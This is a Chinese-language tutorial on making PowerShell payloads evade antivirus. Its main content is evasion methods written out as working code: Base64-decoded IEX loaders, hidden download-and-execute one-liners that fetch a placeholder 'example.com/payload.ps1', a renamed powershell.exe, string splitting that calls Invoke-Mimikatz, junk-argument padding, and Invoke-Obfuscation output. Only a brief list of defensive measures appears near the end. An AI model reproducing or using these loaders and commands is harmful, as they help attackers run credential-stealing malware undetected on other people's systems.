powershell免杀思路分析
字数 872 2025-08-09 13:33:59
PowerShell免杀思路分析
基础概念
PowerShell是Windows系统自带的强大脚本环境,具有以下特点:
- 方便、有效且隐蔽
- 可利用.NET Framework功能
- 常用于IT/系统管理
- 被广泛用于渗透测试和后门植入
PowerShell执行策略
查看和设置执行策略的命令:
Get-ExecutionPolicy # 获取当前执行策略
Set-ExecutionPolicy <PolicyName> # 设置执行策略
执行策略类型:
- Restricted: 默认设置,禁止脚本运行
- RemoteSigned: 本地脚本可运行,网上下载的需数字签名
- AllSigned: 只有受信任发布者签名的脚本可运行
- Unrestricted: 允许所有脚本运行
免杀核心思路
免杀需考虑三个关键因素:
- 免杀工具执行的条件
- 文件大小
- 功能完整性(能否正常上线)
免杀技术详解
1. 本地执行代码-编码分析
特征码定位方法:
- 分段删除代码并测试查杀
- 重点关注$DoIt变量内容
Base64编码示例:
$DoIt = 'base64编码内容'
$mksec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $mksec | wait-job | Receive-Job
}
else {
IEX $mksec
}
2. 远程下载执行技术
基本远程执行
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://example.com/payload.ps1'))"
替换文件名技术
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt
bypass.txt -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://example.com/payload.ps1'))"
HTTP拆分技术
powershell -nop -w hidden -c "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://example.com/payload.ps1''));Invoke-Mimikatz';IEX ($a+$b)"
添加垃圾字符干扰
powershell -w Normal -w Normal -w Normal... set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht'+'tp://example.com/payload.ps1')
3. 混淆编码技术
使用Invoke-Obfuscation工具进行高级混淆:
- 下载地址:https://github.com/danielbohannon/Invoke-Obfuscation
- 基本用法:
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
set scriptpath C:\path\to\script.ps1 # 处理文件
set scriptblock 'code' # 处理代码
encoding # 进入编码模式
1-8 # 选择编码方式
out C:\path\to\output.ps1 # 输出文件
部分代码混淆示例:
. ( $PsHOME[4]+$psHOME[34]+'X')( " $( Sv 'OFS' '')"+ [stRinG]('83@101...'-SPlit'd'-sPlIt '>'-sPLIT 'j' -SpLIT 'o' -SpLIt't'-SPLiT'V' -SPliT';' -splIT'{' -SPLIT'@'-SplIT'<' |%{([inT]$_ -AS[cHar])} )+"$(SET-ITeM 'vaRiaBLE:ofS' ' ') ")
4. 混合技术应用
远程下载+部分混淆:
Set-StrictMode -Version 2
$DoIt= ((New-Object System.Net.Webclient).DownloadString('http://example.com/encoded.txt'))
$mksec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))
If ([IntPtr]::size -eq 8) {
( [RuNtime.INtERopserVIces.mArShAL]::([RunTiME.inTEROPservICeS.marshAL].GETmEmberS()[3].NAME).iNvOKe([RuNtImE.InteropSeRViCeS.MarSHAl]::SecUreSTriNGToBsTR( $('76492d11...'|coNVERtTO-SeCuReSTrinG -k (40..63)) ) ))| .((Get-VarIABlE '*mDr*').nAME[3,11,2]-JOIn'')
}
else {
IEX $mksec
}
高级技巧
- 组合使用多种技术:将编码、拆分、混淆等技术组合使用
- 部分代码混淆:只对关键部分代码进行混淆,而非全部
- 自定义编码器:避免使用公开工具的默认编码方式
- 环境检测绕过:添加环境检测逻辑,在特定条件下才执行恶意代码
防御对策
- 限制PowerShell执行策略
- 监控异常PowerShell进程
- 检测网络流量中的可疑下载行为
- 使用高级威胁检测工具分析脚本行为
- 限制系统.NET Framework功能
总结
有效的PowerShell免杀需要:
- 理解杀软检测原理
- 灵活组合多种技术
- 不断测试和调整
- 关注杀软更新和检测方式变化
- 开发自定义的混淆和编码方法
免杀是一个持续对抗的过程,需要保持技术更新和创造性思维。